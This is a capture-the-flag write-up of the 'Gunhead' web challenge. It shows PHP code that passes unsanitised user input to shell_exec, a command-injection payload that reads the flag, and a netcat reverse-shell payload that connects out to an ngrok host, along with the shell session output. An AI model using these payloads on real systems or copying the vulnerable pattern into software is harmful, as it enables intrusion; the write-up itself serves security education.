siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Gunhead

Overview

Background

During Pandora’s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.

Enumeration

Home page:

In this challenge, we can download a file:

┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Gunhead)-[2023.03.18|21:08:57(HKT)]
└> file web_gunhead.zip                          
web_gunhead.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Gunhead)-[2023.03.18|21:08:59(HKT)]
└> unzip web_gunhead.zip                         
Archive:  web_gunhead.zip
   creating: web_gunhead/
   creating: web_gunhead/config/
  inflating: web_gunhead/config/fpm.conf  
  inflating: web_gunhead/config/supervisord.conf  
  inflating: web_gunhead/config/nginx.conf  
  inflating: web_gunhead/Dockerfile  
  inflating: web_gunhead/build-docker.sh  
 extracting: web_gunhead/flag.txt    
   creating: web_gunhead/challenge/
  inflating: web_gunhead/challenge/index.php  
   creating: web_gunhead/challenge/models/
  inflating: web_gunhead/challenge/models/ReconModel.php  
   creating: web_gunhead/challenge/static/
   creating: web_gunhead/challenge/static/css/
  inflating: web_gunhead/challenge/static/css/style.css  
   creating: web_gunhead/challenge/static/images/
  inflating: web_gunhead/challenge/static/images/terminal.png  
  inflating: web_gunhead/challenge/static/images/face.png  
 extracting: web_gunhead/challenge/static/images/needs.png  
  inflating: web_gunhead/challenge/static/images/back.png  
  inflating: web_gunhead/challenge/static/images/figure.png  
   creating: web_gunhead/challenge/static/js/
  inflating: web_gunhead/challenge/static/js/script.js  
  inflating: web_gunhead/challenge/static/js/jquery.js  
   creating: web_gunhead/challenge/static/fonts/
 extracting: web_gunhead/challenge/static/fonts/vt323.woff2  
  inflating: web_gunhead/challenge/static/fonts/intfallplus.ttf  
  inflating: web_gunhead/challenge/static/fonts/orbitron.woff  
  inflating: web_gunhead/challenge/Router.php  
   creating: web_gunhead/challenge/controllers/
  inflating: web_gunhead/challenge/controllers/ReconController.php  
   creating: web_gunhead/challenge/views/
  inflating: web_gunhead/challenge/views/index.php

But before we look into the source code, let’s play with the application.

Status:

This will show the status of the “Integer”.

Needs:

Show what the “Integer” needs.

Commands:

Oh! Looks like we can run some commands?

Let’s type /help:

Cool! We can /clear the command prompt, /ping [device IP] to check recon system, /storage to check storage.

Hmm… I can smell some OS command injection!

Let’s look at the source code!

The web application’s structure is using a model called MVC, or Model-View-Controller.

In the controllers/ReconController.php, there’s a ping() method:

<?php
class ReconController
{
    public function index($router)
    {
        return $router->view('index');
    }

    public function ping($router)
    {
        $jsonBody = json_decode(file_get_contents('php://input'), true);

        if (empty($jsonBody) || !array_key_exists('ip', $jsonBody))
        {
            return $router->jsonify(['message' => 'Insufficient parameters!']);
        }

        $pingResult = new ReconModel($jsonBody['ip']);

        return $router->jsonify(['output' => $pingResult->getOutput()]);
    }
}

The ping() method will get a decoded JSON body, and parse the ip key to ReconModel().

What is ReconModel()?

In the models/ReconModel.php is very interesting to us:

<?php
#[AllowDynamicProperties]

class ReconModel
{   
    public function __construct($ip)
    {
        $this->ip = $ip;
    }

    public function getOutput()
    {
        # Do I need to sanitize user input before passing it to shell_exec?
        return shell_exec('ping -c 3 '.$this->ip);
    }
}

As you can see, class ReconModel’s public method getOutput() is using a function called shell_exec(), which executing OS command!!

If there’s a non-validated, sanitized input get in there, we can achieve Remote Code Execution (RCE)!!

Remember, the $ip is being parsed from the JSON body in ping() method!!

That being said, we can get RCE via the /ping command!

Exploitation

Now, let’s try to ping 127.0.0.1, or localhost:

Burp Suite HTTP history:

When we type that command, it’ll send a POST request to /api/ping, with JSON body.

If there’s no error, it responses us a JSON data, which is the command’s output.

Armed with above information, we can send that request to Burp Suite’s Repeater, and inject some commands!!

After some testing the || works!

Nice! Now we can confirm there’s a RCE vulnerability via the shell_exec!

Let’s read the flag!

{
    "ip":" || cat ../flag.txt"
}

Or, you can get a shell :D

┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Gunhead)-[2023.03.18|21:28:43(HKT)]
└> ngrok tcp 4444
[...]
Forwarding                    tcp://0.tcp.ap.ngrok.io:17969 -> localhost:4444
[...]
┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Gunhead)-[2023.03.18|21:28:09(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...

Payload:

{
    "ip":" || nc 0.tcp.ap.ngrok.io 17969 -e '/bin/sh'"
}
┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Gunhead)-[2023.03.18|21:28:09(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56612
whoami;hostname;id;ip a
www
ng-gunhead-axuru-69c8bcb87c-nsl6z
uid=1000(www) gid=1000(www) groups=1000(www)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
26: eth0@if27: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether fa:1e:e5:23:24:12 brd ff:ff:ff:ff:ff:ff
    inet 10.244.17.207/32 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::f81e:e5ff:fe23:2412/64 scope link 
       valid_lft forever preferred_lft forever
cat ../flag.txt
HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}

Nice! We’re in!

Conclusion

What we’ve learned:

  1. OS Command Injection